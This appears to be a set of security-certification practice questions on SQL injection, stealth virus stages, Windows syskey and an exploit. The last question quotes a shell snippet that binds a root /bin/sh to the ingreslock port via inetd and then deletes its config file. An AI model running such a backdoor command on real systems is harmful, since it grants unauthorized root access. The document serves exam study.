Jimmy, an attacker, knows that he can take advantage of poorly designed input validation routines to create or alter SQL commands to gain access to private data or execute commands in the database. What technique does Jimmy use to compromise a database?
In what stage of Virus life does a stealth virus gets activated with the user performing certain actions such as running an infected program?
Steven the hacker realizes the network administrator of Acme Corporation is using syskey in Windows 2008 Server to protect his resources in the organization. Syskey independently encrypts the hashes so that physical access to the server, tapes, or ERDs is only first step to cracking the passwords. Steven must break through the encryption used by syskey before he can attempt to use brute force dictionary attacks on the hashes. Steven runs a program called "SysCracker" targeting the Windows 2008 Server machine in attempting to crack the hash used by Syskey. He needs to configure the encryption level before he can launch the attack. How many bits does Syskey use for encryption?
Study the following exploit code taken from a Linux machine and answer the questions below:
echo “ingreslock stream tcp nowait root /bin/sh sh –I" > /tmp/x;
/usr/sbin/inetd –s /tmp/x;
sleep 10;
/bin/ rm –f /tmp/x AAAA…AAA
In the above exploit code, the command “/bin/sh sh –I" is given.
What is the purpose, and why is ‘sh’ shown twice?